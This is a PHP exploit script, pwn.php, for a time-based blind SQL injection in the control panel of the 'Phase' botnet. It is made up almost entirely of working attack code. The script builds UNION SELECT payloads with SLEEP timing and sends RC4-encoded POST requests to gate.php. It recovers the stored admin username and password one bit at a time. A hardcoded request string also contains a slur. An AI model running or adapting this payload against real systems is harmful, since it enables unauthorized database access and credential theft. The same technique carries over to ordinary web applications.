Phase botnet blind SQL injection vulnerability

pwn.php

<?php
	// Start with PHP CLI (php pwn.php)
	set_time_limit(0);
	
	// Adjust this :)
	define('SLEEP_TIME', '4');
	define('PAGE_TIME',  4);
	define('URL',        'http://localhost/Phase/');
	
	echo('attacking ' . URL . PHP_EOL);
	
	get_string('username');
	get_string('password');
	
	function get_length($field) {
		$length = 1;
		
		while (!is_true("' UNION SELECT ALL 1,2,3,4,5,6,7 FROM `settings` WHERE `key` = '" . $field . "' AND (NOT (LENGTH(value)=" . $length . ") OR SLEEP(" . SLEEP_TIME . "))-- ")) {
			++$length;
		}
		
		echo($field . ' length: ' . $length . PHP_EOL);
		
		return $length;
	}
	
	function get_string($field) {
		$length = get_length($field);
		$str    = '';
		
		for ($i = 0; $i < $length; ++$i) {
			$str .= chr(get_char($field, $i));
			echo($field . ' : ' . str_pad($str, $length, '*') . PHP_EOL);
		}
		
		return $str;
	}
	
	function get_char($field, $id) {
		$binary = '';
		
		for ($i = 1; $i < 256; $i *= 2) {
			if ($i == 128)
				$binary = '0' . $binary;
			else
				$binary = (is_true("' UNION SELECT ALL 1,2,3,4,5,6,7 FROM `settings` WHERE `key` = '" . $field . "' AND (NOT (ORD(SUBSTR(`value`," . ($id + 1) . ",1)) & " . $i . ") OR SLEEP(" . SLEEP_TIME . "))-- ") ? '1' : '0') . $binary;
		}
		
		return bindec($binary);
	}
	
	function is_true($query) {
		$rc4_key   = 'aaaa'; // b d u
		$data      = 'u=tapz&d=faggot&b=lol';
		$encode    = rc4($rc4_key, $data, strlen($data), strlen($rc4_key));
		$encode    = $rc4_key . $encode;
		$injection = urlencode($query);
		$req       = post_request(URL . 'gate.php?i=127.0.0.1' . $injection, $encode);
		
		return !($req['time'] < PAGE_TIME);
	}
	
	function post_request($url, $data) {
        $handle = curl_init($url);
        
        curl_setopt($handle, CURLOPT_HEADER,         false);
        curl_setopt($handle, CURLOPT_USERAGENT,      'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36');
        curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($handle, CURLOPT_POST,           true);
        curl_setopt($handle, CURLOPT_POSTFIELDS,     $data);
		curl_setopt($handle, CURLOPT_TIMEOUT,        30);
        
		$time = microtime(true);
        $page = curl_exec($handle);
        $time = microtime(true) - $time;
		
        curl_close($handle);
		
        return array(
			'page' => $page,
			'time' => $time
		);
    }
	
	function rc4($pwd, $data, $data_length, $pwd_length){
		$key[] = '';
		$box[] = '';
		$cipher = '';

		for ($i = 0; $i < 256; $i++)
		{
			$key[$i] = ord($pwd[$i % $pwd_length]);
			$box[$i] = $i;
		}
		for ($j = $i = 0; $i < 256; $i++)
		{
			$j = ($j + $box[$i] + $key[$i]) % 256;
			$tmp = $box[$i];
			$box[$i] = $box[$j];
			$box[$j] = $tmp;
		}
		for ($a = $j = $i = 0; $i < $data_length; $i++)
		{
			$a = ($a + 1) % 256;
			$j = ($j + $box[$a]) % 256;
			$tmp = $box[$a];
			$box[$a] = $box[$j];
			$box[$j] = $tmp;
			$k = $box[(($box[$a] + $box[$j]) % 256)];
			$cipher .= chr(ord($data[$i]) ^ $k);
		}
		return $cipher;
	}